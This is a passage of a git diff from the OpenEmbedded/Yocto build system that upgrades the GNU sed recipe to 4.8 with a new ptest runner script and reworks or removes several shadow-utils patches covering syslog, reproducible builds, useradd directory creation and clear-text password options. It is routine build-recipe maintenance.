-@@ -4,7 +4,7 @@ AC_CONFIG_AUX_DIR(build-aux)
- AC_CONFIG_SRCDIR([sed/sed.c])
- AM_CONFIG_HEADER(config.h:config_h.in)
- AC_PREREQ(2.60)
--AM_INIT_AUTOMAKE
-+AM_INIT_AUTOMAKE([serial-tests])
-
- SED_FEATURE_VERSION=4.2.2
- AC_DEFINE_UNQUOTED(SED_FEATURE_VERSION, "$SED_FEATURE_VERSION",
-diff --git a/doc/Makefile.am b/doc/Makefile.am
-index af6975c..6fd8c9a 100644
---- a/doc/Makefile.am
-+++ b/doc/Makefile.am
-@@ -25,7 +25,7 @@ $(srcdir)/s-texi: sed-in.texi $(srcdir)/groupify.sed
- fi
- echo stamp > $(srcdir)/s-texi
-
--sed.1: $(top_srcdir)/sed/sed.c $(top_srcdir)/configure.ac $(srcdir)/sed.x
-+_sed.1: $(top_srcdir)/sed/sed.c $(top_srcdir)/configure.ac $(srcdir)/sed.x
- $(HELP2MAN) --name "stream editor for filtering and transforming text" \
- -p sed --include $(srcdir)/sed.x -o $(srcdir)/sed.1 $(SED)
-
-diff --git a/testsuite/Makefile.am b/testsuite/Makefile.am
-index d80e72c..b05f01e 100644
---- a/testsuite/Makefile.am
-+++ b/testsuite/Makefile.am
-@@ -99,5 +99,11 @@ EXTRA_DIST = \
- # automake makes `check' depend on $(TESTS). Declare
- # dummy targets for $(TESTS) so that make does not complain.
-
-+install-ptest:
-+ cd $(BUILDDIR); tar -c --exclude=*.o $(TESTDIR) | ( cd $(DESTDIR) && tar -xf - )
-+ for i in $(EXTRA_DIST) tst-regex2.c; do install $(srcdir)/$$i $(DESTDIR)/$(TESTDIR); done
-+ sed -e 's/^Makefile:/_Makefile:/' -e 's/^srcdir = \(.*\)/srcdir = ./' -e 's/bash/sh/' -i $(DESTDIR)/$(TESTDIR)/Makefile
-+ for i in `grep -rl "../sed/sed" $(DESTDIR)/$(TESTDIR)`; do sed -e 's/..\/sed\/sed/sed/' -i $$i; done
-+
- .PHONY: $(SEDTESTS)
- $(SEDTESTS):
---
-1.7.9.5
-
diff --git a/meta/recipes-extended/sed/sed/run-ptest b/meta/recipes-extended/sed/sed/run-ptest
new file mode 100644
index 0000000000..993d7d5d75
--- /dev/null
+++ b/meta/recipes-extended/sed/sed/run-ptest
@@ -0,0 +1,5 @@
+#!/bin/sh
+
+chown nobody testsuite
+chown nobody ../ptest
+su nobody -c "make test-suite.log"
diff --git a/meta/recipes-extended/sed/sed_4.2.2.bb b/meta/recipes-extended/sed/sed_4.2.2.bb
deleted file mode 100644
index 8e436bad80..0000000000
--- a/meta/recipes-extended/sed/sed_4.2.2.bb
+++ /dev/null
@@ -1,53 +0,0 @@
-SUMMARY = "Stream EDitor (text filtering utility)"
-HOMEPAGE = "http://www.gnu.org/software/sed/"
-LICENSE = "GPLv3+"
-LIC_FILES_CHKSUM = "file://COPYING;md5=f27defe1e96c2e1ecd4e0c9be8967949 \
- file://sed/sed.h;beginline=1;endline=17;md5=767ab3a06d7584f6fd0469abaec4412f"
-SECTION = "console/utils"
-
-SRC_URI = "${GNU_MIRROR}/sed/sed-${PV}.tar.gz \
- file://sed-add-ptest.patch \
- file://0001-Unset-need_charset_alias-when-building-for-musl.patch \
- file://run-ptest \
-"
-
-SRC_URI[md5sum] = "4111de4faa3b9848a0686b2f260c5056"
-SRC_URI[sha256sum] = "fea0a94d4b605894f3e2d5572e3f96e4413bcad3a085aae7367c2cf07908b2ff"
-
-inherit autotools texinfo update-alternatives gettext ptest
-RDEPENDS_${PN}-ptest += "make"
-RRECOMMENDS_${PN}-ptest_append_libc-glibc = " locale-base-ru-ru"
-
-EXTRA_OECONF = "--disable-acl \
- ${@bb.utils.contains('PTEST_ENABLED', '1', '--enable-regex-tests', '', d)}"
-
-do_install () {
- autotools_do_install
- install -d ${D}${base_bindir}
- if [ ! ${D}${bindir} -ef ${D}${base_bindir} ]; then
- mv ${D}${bindir}/sed ${D}${base_bindir}/sed
- rmdir ${D}${bindir}/
- fi
-}
-
-ALTERNATIVE_${PN} = "sed"
-ALTERNATIVE_LINK_NAME[sed] = "${base_bindir}/sed"
-ALTERNATIVE_PRIORITY = "100"
-
-TESTDIR = "testsuite"
-
-do_compile_ptest() {
- oe_runmake -C ${TESTDIR} buildtest-TESTS
-}
-
-do_install_ptest() {
- oe_runmake -C ${TESTDIR} install-ptest BUILDDIR=${B} DESTDIR=${D}${PTEST_PATH} TESTDIR=${TESTDIR}
- sed -e 's,--sysroot=${STAGING_DIR_TARGET},,g' \
- -e 's|${DEBUG_PREFIX_MAP}||g' \
- -e 's:${HOSTTOOLS_DIR}/::g' \
- -e 's:${RECIPE_SYSROOT_NATIVE}::g' \
- -e 's:${BASE_WORKDIR}/${MULTIMACH_TARGET_SYS}::g' \
- -i ${D}${PTEST_PATH}/${TESTDIR}/Makefile
-}
-
-RPROVIDES_${PN} += "${@bb.utils.contains('DISTRO_FEATURES', 'usrmerge', '/bin/sed', '', d)}"
diff --git a/meta/recipes-extended/sed/sed_4.8.bb b/meta/recipes-extended/sed/sed_4.8.bb
new file mode 100644
index 0000000000..31e971aeac
--- /dev/null
+++ b/meta/recipes-extended/sed/sed_4.8.bb
@@ -0,0 +1,68 @@
+SUMMARY = "Stream EDitor (text filtering utility)"
+HOMEPAGE = "http://www.gnu.org/software/sed/"
+DESCRIPTION = "sed (stream editor) is a non-interactive command-line text editor."
+LICENSE = "GPL-3.0-or-later"
+LIC_FILES_CHKSUM = "file://COPYING;md5=c678957b0c8e964aa6c70fd77641a71e \
+ file://sed/sed.h;beginline=1;endline=15;md5=fb3c7e6fbca6f66943859153d4be8efe \
+ "
+SECTION = "console/utils"
+
+SRC_URI = "${GNU_MIRROR}/sed/sed-${PV}.tar.xz \
+ file://run-ptest \
+"
+
+SRC_URI[md5sum] = "6d906edfdb3202304059233f51f9a71d"
+SRC_URI[sha256sum] = "f79b0cfea71b37a8eeec8490db6c5f7ae7719c35587f21edb0617f370eeff633"
+
+inherit autotools texinfo update-alternatives gettext ptest
+
+PACKAGECONFIG[selinux] = "--with-selinux,--without-selinux,libselinux"
+
+RDEPENDS:${PN}-ptest += "make gawk perl perl-module-filehandle perl-module-file-compare perl-module-file-find perl-module-file-temp perl-module-file-stat"
+RRECOMMENDS:${PN}-ptest:append:libc-glibc = " locale-base-ru-ru locale-base-en-us locale-base-el-gr.iso-8859-7"
+
+EXTRA_OECONF = "--disable-acl \
+ "
+
+do_install () {
+ autotools_do_install
+ install -d ${D}${base_bindir}
+ if [ ! ${D}${bindir} -ef ${D}${base_bindir} ]; then
+ mv ${D}${bindir}/sed ${D}${base_bindir}/sed
+ rmdir ${D}${bindir}/
+ fi
+}
+
+ALTERNATIVE:${PN} = "sed"
+ALTERNATIVE_LINK_NAME[sed] = "${base_bindir}/sed"
+ALTERNATIVE_PRIORITY = "100"
+
+do_compile_ptest() {
+ oe_runmake testsuite/get-mb-cur-max testsuite/test-mbrtowc
+}
+
+do_install_ptest() {
+ cp -rf ${S}/testsuite/ ${D}${PTEST_PATH}
+ cp -rf ${B}/testsuite/* ${D}${PTEST_PATH}/testsuite/
+ cp -rf ${S}/build-aux/ ${D}${PTEST_PATH}/
+ cp ${B}/Makefile ${D}${PTEST_PATH}
+ cp ${S}/init.cfg ${D}${PTEST_PATH}
+
+ sed -e 's/^Makefile:/_Makefile:/' -e 's/^srcdir = \(.*\)/srcdir = ./' -e 's/bash/sh/' -i ${D}${PTEST_PATH}/Makefile
+ for i in `grep -rl "sed/sed" ${D}${PTEST_PATH}`; do sed -e 's/..\/sed\/sed/sed/' -i $i; done
+
+ sed -e 's,--sysroot=${STAGING_DIR_TARGET},,g' \
+ -e 's|${DEBUG_PREFIX_MAP}||g' \
+ -e 's:${HOSTTOOLS_DIR}/::g' \
+ -e 's:${RECIPE_SYSROOT_NATIVE}::g' \
+ -e 's:abs_top_builddir =.*:abs_top_builddir = ..:g' \
+ -e 's:abs_top_srcdir =.*:abs_top_srcdir = ..:g' \
+ -e 's:abs_srcdir =.*:abs_srcdir = ..:g' \
+ -e 's:top_srcdir =.*:top_srcdir = ..:g' \
+ -e 's:${BASE_WORKDIR}/${MULTIMACH_TARGET_SYS}::g' \
+ -i ${D}${PTEST_PATH}/Makefile
+}
+
+RPROVIDES:${PN} += "${@bb.utils.contains('DISTRO_FEATURES', 'usrmerge', '/bin/sed', '', d)}"
+
+BBCLASSEXTEND = "nativesdk"
diff --git a/meta/recipes-extended/shadow/files/0001-Disable-use-of-syslog-for-sysroot.patch b/meta/recipes-extended/shadow/files/0001-Disable-use-of-syslog-for-sysroot.patch
index aac2d42b12..4bb6be43ed 100644
--- a/meta/recipes-extended/shadow/files/0001-Disable-use-of-syslog-for-sysroot.patch
+++ b/meta/recipes-extended/shadow/files/0001-Disable-use-of-syslog-for-sysroot.patch
@@ -1,125 +1,22 @@
-From 8cf3454d567f77233023be49a39a33e9f0836f89 Mon Sep 17 00:00:00 2001
-From: Scott Garman <scott.a.garman@intel.com>
-Date: Thu, 14 Apr 2016 12:28:57 +0200
-Subject: [PATCH] Disable use of syslog for sysroot
+Disable use of syslog for shadow-native tools
Disable use of syslog to prevent sysroot user and group additions from
writing entries to the host's syslog. This patch should only be used
with the shadow-native recipe.
-Upstream-Status: Inappropriate [disable feature]
-
-Signed-off-by: Scott Garman <scott.a.garman@intel.com>
-Signed-off-by: Peter Kjellerstedt <peter.kjellerstedt@axis.com>
-Signed-off-by: Chen Qi <Qi.Chen@windriver.com>
----
- src/groupadd.c | 3 +++
- src/groupdel.c | 3 +++
- src/groupmems.c | 3 +++
- src/groupmod.c | 3 +++
- src/useradd.c | 3 +++
- src/userdel.c | 3 +++
- src/usermod.c | 3 +++
- 7 files changed, 21 insertions(+)
-
-diff --git a/src/groupadd.c b/src/groupadd.c
-index 63e1c48..a596c49 100644
---- a/src/groupadd.c
-+++ b/src/groupadd.c
-@@ -34,6 +34,9 @@
-
- #ident "$Id$"
-
-+/* Disable use of syslog since we're running this command against a sysroot */
-+#undef USE_SYSLOG
-+
- #include <ctype.h>
- #include <fcntl.h>
- #include <getopt.h>
-diff --git a/src/groupdel.c b/src/groupdel.c
-index 70bed01..ababd81 100644
---- a/src/groupdel.c
-+++ b/src/groupdel.c
-@@ -34,6 +34,9 @@
-
- #ident "$Id$"
-
-+/* Disable use of syslog since we're running this command against a sysroot */
-+#undef USE_SYSLOG
-+
- #include <ctype.h>
- #include <fcntl.h>
- #include <grp.h>
-diff --git a/src/groupmems.c b/src/groupmems.c
-index fc91c8b..2842514 100644
---- a/src/groupmems.c
-+++ b/src/groupmems.c
-@@ -32,6 +32,9 @@
-
- #include <config.h>
-
-+/* Disable use of syslog since we're running this command against a sysroot */
-+#undef USE_SYSLOG
-+
- #include <fcntl.h>
- #include <getopt.h>
- #include <grp.h>
-diff --git a/src/groupmod.c b/src/groupmod.c
-index 72daf2c..8965f9d 100644
---- a/src/groupmod.c
-+++ b/src/groupmod.c
-@@ -34,6 +34,9 @@
-
- #ident "$Id$"
-
-+/* Disable use of syslog since we're running this command against a sysroot */
-+#undef USE_SYSLOG
-+
- #include <ctype.h>
- #include <fcntl.h>
- #include <getopt.h>
-diff --git a/src/useradd.c b/src/useradd.c
-index 3aaf45c..1ab9174 100644
---- a/src/useradd.c
-+++ b/src/useradd.c
-@@ -34,6 +34,9 @@
-
- #ident "$Id$"
-
-+/* Disable use of syslog since we're running this command against a sysroot */
-+#undef USE_SYSLOG
-+
- #include <assert.h>
- #include <ctype.h>
- #include <errno.h>
-diff --git a/src/userdel.c b/src/userdel.c
-index c8de1d3..24d3ea9 100644
---- a/src/userdel.c
-+++ b/src/userdel.c
-@@ -34,6 +34,9 @@
-
- #ident "$Id$"
-
-+/* Disable use of syslog since we're running this command against a sysroot */
-+#undef USE_SYSLOG
-+
- #include <assert.h>
- #include <errno.h>
- #include <fcntl.h>
-diff --git a/src/usermod.c b/src/usermod.c
-index ccfbb99..24fb60d 100644
---- a/src/usermod.c
-+++ b/src/usermod.c
-@@ -34,6 +34,9 @@
-
- #ident "$Id$"
-
-+/* Disable use of syslog since we're running this command against a sysroot */
-+#undef USE_SYSLOG
-+
- #include <assert.h>
- #include <ctype.h>
- #include <errno.h>
---
-2.11.0
+Upstream-Status: Inappropriate [OE specific configuration]
+Signed-off-by: Richard Purdie <richard.purdie@linuxfoundation.org>
+Index: shadow-4.11.1/configure.ac
+===================================================================
+--- shadow-4.11.1.orig/configure.ac
++++ shadow-4.11.1/configure.ac
+@@ -204,7 +204,7 @@ AC_DEFINE_UNQUOTED(PASSWD_PROGRAM, "$sha
+ [Path to passwd program.])
+
+ dnl XXX - quick hack, should disappear before anyone notices :).
+-AC_DEFINE(USE_SYSLOG, 1, [Define to use syslog().])
++AC_DEFINE(USE_SYSLOG, 0, [Define to use syslog().])
+ if test "$ac_cv_func_ruserok" = "yes"; then
+ AC_DEFINE(RLOGIN, 1, [Define if login should support the -r flag for rlogind.])
+ AC_DEFINE(RUSEROK, 0, [Define to the ruserok() "success" return value (0 or 1).])
diff --git a/meta/recipes-extended/shadow/files/0001-Make-the-sp_lstchg-shadow-field-reproducible-re.-71.patch b/meta/recipes-extended/shadow/files/0001-Make-the-sp_lstchg-shadow-field-reproducible-re.-71.patch
deleted file mode 100644
index de0ba3ebb4..0000000000
--- a/meta/recipes-extended/shadow/files/0001-Make-the-sp_lstchg-shadow-field-reproducible-re.-71.patch
+++ /dev/null
@@ -1,89 +0,0 @@
-From fe34a2a0e44bc80ff213bfd185046a5f10c94997 Mon Sep 17 00:00:00 2001
-From: Chris Lamb <chris@chris-lamb.co.uk>
-Date: Wed, 2 Jan 2019 18:06:16 +0000
-Subject: [PATCH 1/2] Make the sp_lstchg shadow field reproducible (re. #71)
-
-From <https://github.com/shadow-maint/shadow/pull/71>:
-
-```
-The third field in the /etc/shadow file (sp_lstchg) contains the date of
-the last password change expressed as the number of days since Jan 1, 1970.
-As this is a relative time, creating a user today will result in:
-
-username:17238:0:99999:7:::
-whilst creating the same user tomorrow will result in:
-
-username:17239:0:99999:7:::
-This has an impact for the Reproducible Builds[0] project where we aim to
-be independent of as many elements the build environment as possible,
-including the current date.
-
-This patch changes the behaviour to use the SOURCE_DATE_EPOCH[1]
-environment variable (instead of Jan 1, 1970) if valid.
-```
-
-This updated PR adds some missing calls to gettime (). This was originally
-filed by Johannes Schauer in Debian as #917773 [2].
-
-[0] https://reproducible-builds.org/
-[1] https://reproducible-builds.org/specs/source-date-epoch/
-[2] https://bugs.debian.org/917773
-
-Upstream-Status: Backport
-Signed-off-by: Alex Kiernan <alex.kiernan@gmail.com>
----
- libmisc/pwd2spwd.c | 3 +--
- src/pwck.c | 2 +-
- src/pwconv.c | 2 +-
- 3 files changed, 3 insertions(+), 4 deletions(-)
-
-diff --git a/libmisc/pwd2spwd.c b/libmisc/pwd2spwd.c
-index c1b9b29ac873..6799dd50d490 100644
---- a/libmisc/pwd2spwd.c
-+++ b/libmisc/pwd2spwd.c
-@@ -40,7 +40,6 @@
- #include "prototypes.h"
- #include "defines.h"
- #include <pwd.h>
--extern time_t time (time_t *);
-
- /*
- * pwd_to_spwd - create entries for new spwd structure
-@@ -66,7 +65,7 @@ struct spwd *pwd_to_spwd (const struct passwd *pw)
- */
- sp.sp_min = 0;
- sp.sp_max = (10000L * DAY) / SCALE;
-- sp.sp_lstchg = (long) time ((time_t *) 0) / SCALE;
-+ sp.sp_lstchg = (long) gettime () / SCALE;
- if (0 == sp.sp_lstchg) {
- /* Better disable aging than requiring a password
- * change */
-diff --git a/src/pwck.c b/src/pwck.c
-index 0ffb711efb13..f70071b12500 100644
---- a/src/pwck.c
-+++ b/src/pwck.c
-@@ -609,7 +609,7 @@ static void check_pw_file (int *errors, bool *changed)
- sp.sp_inact = -1;
- sp.sp_expire = -1;
- sp.sp_flag = SHADOW_SP_FLAG_UNSET;
-- sp.sp_lstchg = (long) time ((time_t *) 0) / SCALE;
-+ sp.sp_lstchg = (long) gettime () / SCALE;
- if (0 == sp.sp_lstchg) {
- /* Better disable aging than
- * requiring a password change
-diff --git a/src/pwconv.c b/src/pwconv.c
-index 9c69fa131d8e..f932f266c59c 100644
---- a/src/pwconv.c
-+++ b/src/pwconv.c
-@@ -267,7 +267,7 @@ int main (int argc, char **argv)
- spent.sp_flag = SHADOW_SP_FLAG_UNSET;
- }
- spent.sp_pwdp = pw->pw_passwd;
-- spent.sp_lstchg = (long) time ((time_t *) 0) / SCALE;
-+ spent.sp_lstchg = (long) gettime () / SCALE;
- if (0 == spent.sp_lstchg) {
- /* Better disable aging than requiring a password
- * change */
---
-2.17.1
-
diff --git a/meta/recipes-extended/shadow/files/0001-configure.ac-fix-configure-error-with-dash.patch b/meta/recipes-extended/shadow/files/0001-configure.ac-fix-configure-error-with-dash.patch
deleted file mode 100644
index a74cbb0c0e..0000000000
--- a/meta/recipes-extended/shadow/files/0001-configure.ac-fix-configure-error-with-dash.patch
+++ /dev/null
@@ -1,36 +0,0 @@
-From 3c52a84ff8775590e7e9da9c0d4408c23494305e Mon Sep 17 00:00:00 2001
-From: Yi Zhao <yi.zhao@windriver.com>
-Date: Mon, 17 Jun 2019 15:36:34 +0800
-Subject: [PATCH] configure.ac: fix configure error with dash
-
-A configure error occurs when /bin/sh -> dash:
- checking for is_selinux_enabled in -lselinux... yes
- checking for semanage_connect in -lsemanage... yes
- configure: 16322: test: yesyes: unexpected operator
-
-Use "=" instead of "==" since dash doesn't support this operator.
-
-Upstream-Status: Backport
-[https://github.com/shadow-maint/shadow/commit/3c52a84ff8775590e7e9da9c0d4408c23494305e]
-
-Signed-off-by: Yi Zhao <yi.zhao@windriver.com>
----
- configure.ac | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/configure.ac b/configure.ac
-index 6762556..1907afb 100644
---- a/configure.ac
-+++ b/configure.ac
-@@ -500,7 +500,7 @@ if test "$with_selinux" != "no"; then
- AC_MSG_ERROR([libsemanage not found])
- fi
-
-- if test "$selinux_lib$semanage_lib" == "yesyes" ; then
-+ if test "$selinux_lib$semanage_lib" = "yesyes" ; then
- AC_DEFINE(WITH_SELINUX, 1,
- [Build shadow with SELinux support])
- LIBSELINUX="-lselinux"
---
-2.7.4
-
diff --git a/meta/recipes-extended/shadow/files/0001-useradd.c-create-parent-directories-when-necessary.patch b/meta/recipes-extended/shadow/files/0001-useradd.c-create-parent-directories-when-necessary.patch
deleted file mode 100644
index faa6f68ebe..0000000000
--- a/meta/recipes-extended/shadow/files/0001-useradd.c-create-parent-directories-when-necessary.patch
+++ /dev/null
@@ -1,116 +0,0 @@
-Subject: [PATCH] useradd.c: create parent directories when necessary
-
-Upstream-Status: Inappropriate [OE specific]
-
-Signed-off-by: Chen Qi <Qi.Chen@windriver.com>
----
- src/useradd.c | 80 +++++++++++++++++++++++++++++++++++++++--------------------
- 1 file changed, 53 insertions(+), 27 deletions(-)
-
-diff --git a/src/useradd.c b/src/useradd.c
-index 00a3c30..9ecbb58 100644
---- a/src/useradd.c
-+++ b/src/useradd.c
-@@ -2021,6 +2021,35 @@ static void usr_update (void)
- }
-
- /*
-+ * mkdir_p - create directories, including parent directories when needed
-+ *
-+ * similar to `mkdir -p'
-+ */
-+void mkdir_p(const char *path) {
-+ int len = strlen(path);
-+ char newdir[len + 1];
-+ mode_t mode = 0755;
-+ int i = 0;
-+
-+ if (path[i] == '\0') {
-+ return;
-+ }
-+
-+ /* skip the leading '/' */
-+ i++;
-+
-+ while(path[i] != '\0') {
-+ if (path[i] == '/') {
-+ strncpy(newdir, path, i);
-+ newdir[i] = '\0';
-+ mkdir(newdir, mode);
-+ }
-+ i++;
-+ }
-+ mkdir(path, mode);
-+}
-+
-+/*
- * create_home - create the user's home directory
- *
- * create_home() creates the user's home directory if it does not
-@@ -2038,39 +2067,36 @@ static void create_home (void)
- fail_exit (E_HOMEDIR);
- }
- #endif
-- /* XXX - create missing parent directories. --marekm */
-- if (mkdir (prefix_user_home, 0) != 0) {
-- fprintf (stderr,
-- _("%s: cannot create directory %s\n"),
-- Prog, prefix_user_home);
-+ mkdir_p(user_home);
-+ }
-+ if (access (prefix_user_home, F_OK) != 0) {
- #ifdef WITH_AUDIT
-- audit_logger (AUDIT_ADD_USER, Prog,
-- "adding home directory",
-- user_name, (unsigned int) user_id,
-- SHADOW_AUDIT_FAILURE);
-+ audit_logger (AUDIT_ADD_USER, Prog,
-+ "adding home directory",
-+ user_name, (unsigned int) user_id,
-+ SHADOW_AUDIT_FAILURE);
- #endif
-- fail_exit (E_HOMEDIR);
-- }
-- (void) chown (prefix_user_home, user_id, user_gid);
-- chmod (prefix_user_home,
-- 0777 & ~getdef_num ("UMASK", GETDEF_DEFAULT_UMASK));
-- home_added = true;
-+ fail_exit (E_HOMEDIR);
-+ }
-+ (void) chown (prefix_user_home, user_id, user_gid);
-+ chmod (prefix_user_home,
-+ 0777 & ~getdef_num ("UMASK", GETDEF_DEFAULT_UMASK));
-+ home_added = true;
- #ifdef WITH_AUDIT
-- audit_logger (AUDIT_ADD_USER, Prog,
-- "adding home directory",
-- user_name, (unsigned int) user_id,
-- SHADOW_AUDIT_SUCCESS);
-+ audit_logger (AUDIT_ADD_USER, Prog,
-+ "adding home directory",
-+ user_name, (unsigned int) user_id,
-+ SHADOW_AUDIT_SUCCESS);
- #endif
- #ifdef WITH_SELINUX
-- /* Reset SELinux to create files with default contexts */
-- if (reset_selinux_file_context () != 0) {
-- fprintf (stderr,
-- _("%s: cannot reset SELinux file creation context\n"),
-- Prog);
-- fail_exit (E_HOMEDIR);
-- }
--#endif
-+ /* Reset SELinux to create files with default contexts */
-+ if (reset_selinux_file_context () != 0) {
-+ fprintf (stderr,
-+ _("%s: cannot reset SELinux file creation context\n"),
-+ Prog);
-+ fail_exit (E_HOMEDIR);
- }
-+#endif
- }
-
- /*
---
-2.11.0
-
diff --git a/meta/recipes-extended/shadow/files/allow-for-setting-password-in-clear-text.patch b/meta/recipes-extended/shadow/files/allow-for-setting-password-in-clear-text.patch
deleted file mode 100644
index fa7eb07aa5..0000000000
--- a/meta/recipes-extended/shadow/files/allow-for-setting-password-in-clear-text.patch
+++ /dev/null
@@ -1,300 +0,0 @@
-Subject: [PATCH] Allow for setting password in clear text
-
-Upstream-Status: Inappropriate [OE specific]
-
-Signed-off-by: Chen Qi <Qi.Chen@windriver.com>
----
- src/Makefile.am | 8 ++++----
- src/groupadd.c | 20 +++++++++++++++-----
- src/groupmod.c | 20 +++++++++++++++-----
- src/useradd.c | 21 +++++++++++++++------
- src/usermod.c | 20 +++++++++++++++-----
- 5 files changed, 64 insertions(+), 25 deletions(-)
-
-diff --git a/src/Makefile.am b/src/Makefile.am
-index 3c98a8d..b8093d5 100644
---- a/src/Makefile.am
-+++ b/src/Makefile.am
-@@ -93,10 +93,10 @@ chgpasswd_LDADD = $(LDADD) $(LIBPAM_SUID) $(LIBSELINUX) $(LIBCRYPT)
- chsh_LDADD = $(LDADD) $(LIBPAM) $(LIBSELINUX) $(LIBCRYPT_NOPAM) $(LIBSKEY) $(LIBMD)
- chpasswd_LDADD = $(LDADD) $(LIBPAM) $(LIBSELINUX) $(LIBCRYPT)
- gpasswd_LDADD = $(LDADD) $(LIBAUDIT) $(LIBSELINUX) $(LIBCRYPT)
--groupadd_LDADD = $(LDADD) $(LIBPAM_SUID) $(LIBAUDIT) $(LIBSELINUX)
-+groupadd_LDADD = $(LDADD) $(LIBPAM_SUID) $(LIBAUDIT) $(LIBSELINUX) $(LIBCRYPT)
- groupdel_LDADD = $(LDADD) $(LIBPAM_SUID) $(LIBAUDIT) $(LIBSELINUX)
- groupmems_LDADD = $(LDADD) $(LIBPAM) $(LIBSELINUX)
--groupmod_LDADD = $(LDADD) $(LIBPAM_SUID) $(LIBAUDIT) $(LIBSELINUX)
-+groupmod_LDADD = $(LDADD) $(LIBPAM_SUID) $(LIBAUDIT) $(LIBSELINUX) $(LIBCRYPT)
- grpck_LDADD = $(LDADD) $(LIBSELINUX)
- grpconv_LDADD = $(LDADD) $(LIBSELINUX)
- grpunconv_LDADD = $(LDADD) $(LIBSELINUX)
-@@ -117,9 +117,9 @@ su_SOURCES = \
- suauth.c
- su_LDADD = $(LDADD) $(LIBPAM) $(LIBAUDIT) $(LIBCRYPT_NOPAM) $(LIBSKEY) $(LIBMD)
- sulogin_LDADD = $(LDADD) $(LIBCRYPT)
--useradd_LDADD = $(LDADD) $(LIBPAM_SUID) $(LIBAUDIT) $(LIBSELINUX) $(LIBSEMANAGE) $(LIBACL) $(LIBATTR)
-+useradd_LDADD = $(LDADD) $(LIBPAM_SUID) $(LIBAUDIT) $(LIBSELINUX) $(LIBSEMANAGE) $(LIBACL) $(LIBATTR) $(LIBCRYPT)
- userdel_LDADD = $(LDADD) $(LIBPAM_SUID) $(LIBAUDIT) $(LIBSELINUX) $(LIBSEMANAGE)
--usermod_LDADD = $(LDADD) $(LIBPAM_SUID) $(LIBAUDIT) $(LIBSELINUX) $(LIBSEMANAGE) $(LIBACL) $(LIBATTR)
-+usermod_LDADD = $(LDADD) $(LIBPAM_SUID) $(LIBAUDIT) $(LIBSELINUX) $(LIBSEMANAGE) $(LIBACL) $(LIBATTR) $(LIBCRYPT)
- vipw_LDADD = $(LDADD) $(LIBSELINUX)
-
- install-am: all-am
-diff --git a/src/groupadd.c b/src/groupadd.c
-index b57006c..63e1c48 100644
---- a/src/groupadd.c
-+++ b/src/groupadd.c
-@@ -123,9 +123,10 @@ static /*@noreturn@*/void usage (int status)
- (void) fputs (_(" -o, --non-unique allow to create groups with duplicate\n"
- " (non-unique) GID\n"), usageout);
- (void) fputs (_(" -p, --password PASSWORD use this encrypted password for the new group\n"), usageout);
-+ (void) fputs (_(" -P, --clear-password PASSWORD use this clear password for the new group\n"), usageout);
- (void) fputs (_(" -r, --system create a system account\n"), usageout);
- (void) fputs (_(" -R, --root CHROOT_DIR directory to chroot into\n"), usageout);
-- (void) fputs (_(" -P, --prefix PREFIX_DIR directory prefix\n"), usageout);
-+ (void) fputs (_(" -A, --prefix PREFIX_DIR directory prefix\n"), usageout);
- (void) fputs ("\n", usageout);
- exit (status);
- }
-@@ -387,13 +388,14 @@ static void process_flags (int argc, char **argv)
- {"key", required_argument, NULL, 'K'},
- {"non-unique", no_argument, NULL, 'o'},
- {"password", required_argument, NULL, 'p'},
-+ {"clear-password", required_argument, NULL, 'P'},
- {"system", no_argument, NULL, 'r'},
- {"root", required_argument, NULL, 'R'},
-- {"prefix", required_argument, NULL, 'P'},
-+ {"prefix", required_argument, NULL, 'A'},
- {NULL, 0, NULL, '\0'}
- };
-
-- while ((c = getopt_long (argc, argv, "fg:hK:op:rR:P:",
-+ while ((c = getopt_long (argc, argv, "fg:hK:op:P:rR:A:",
- long_options, NULL)) != -1) {
- switch (c) {
- case 'f':
-@@ -445,12 +447,20 @@ static void process_flags (int argc, char **argv)
- pflg = true;
- group_passwd = optarg;
- break;
-+ case 'P':
-+ pflg = true;
-+ group_passwd = pw_encrypt (optarg, crypt_make_salt (NULL, NULL));
-+ break;
- case 'r':
- rflg = true;
- break;
- case 'R': /* no-op, handled in process_root_flag () */
- break;
-- case 'P': /* no-op, handled in process_prefix_flag () */
-+ case 'A': /* no-op, handled in process_prefix_flag () */
-+ fprintf (stderr,
-+ _("%s: -A is deliberately not supported \n"),
-+ Prog);
-+ exit (E_BAD_ARG);
- break;
- default:
- usage (E_USAGE);
-@@ -584,7 +594,7 @@ int main (int argc, char **argv)
- (void) textdomain (PACKAGE);
-
- process_root_flag ("-R", argc, argv);
-- prefix = process_prefix_flag ("-P", argc, argv);
-+ prefix = process_prefix_flag ("-A", argc, argv);
-
- OPENLOG ("groupadd");
- #ifdef WITH_AUDIT
-diff --git a/src/groupmod.c b/src/groupmod.c
-index b293b98..72daf2c 100644
---- a/src/groupmod.c
-+++ b/src/groupmod.c
-@@ -134,8 +134,9 @@ static void usage (int status)
- (void) fputs (_(" -o, --non-unique allow to use a duplicate (non-unique) GID\n"), usageout);
- (void) fputs (_(" -p, --password PASSWORD change the password to this (encrypted)\n"
- " PASSWORD\n"), usageout);
-+ (void) fputs (_(" -P, --clear-password PASSWORD change the password to this clear PASSWORD\n"), usageout);
- (void) fputs (_(" -R, --root CHROOT_DIR directory to chroot into\n"), usageout);
-- (void) fputs (_(" -P, --prefix PREFIX_DIR prefix directory where are located the /etc/* files\n"), usageout);
-+ (void) fputs (_(" -A, --prefix PREFIX_DIR prefix directory where are located the /etc/* files\n"), usageout);
- (void) fputs ("\n", usageout);
- exit (status);
- }
-@@ -383,11 +384,12 @@ static void process_flags (int argc, char **argv)
- {"new-name", required_argument, NULL, 'n'},
- {"non-unique", no_argument, NULL, 'o'},
- {"password", required_argument, NULL, 'p'},
-+ {"clear-password", required_argument, NULL, 'P'},
- {"root", required_argument, NULL, 'R'},
-- {"prefix", required_argument, NULL, 'P'},
-+ {"prefix", required_argument, NULL, 'A'},
- {NULL, 0, NULL, '\0'}
- };
-- while ((c = getopt_long (argc, argv, "g:hn:op:R:P:",
-+ while ((c = getopt_long (argc, argv, "g:hn:op:P:R:A:",
- long_options, NULL)) != -1) {
- switch (c) {
- case 'g':
-@@ -414,9 +416,17 @@ static void process_flags (int argc, char **argv)
- group_passwd = optarg;
- pflg = true;
- break;
-+ case 'P':
-+ group_passwd = pw_encrypt (optarg, crypt_make_salt (NULL, NULL));
-+ pflg = true;
-+ break;
- case 'R': /* no-op, handled in process_root_flag () */
- break;
-- case 'P': /* no-op, handled in process_prefix_flag () */
-+ case 'A': /* no-op, handled in process_prefix_flag () */
-+ fprintf (stderr,
-+ _("%s: -A is deliberately not supported \n"),
-+ Prog);
-+ exit (E_BAD_ARG);
- break;
- default:
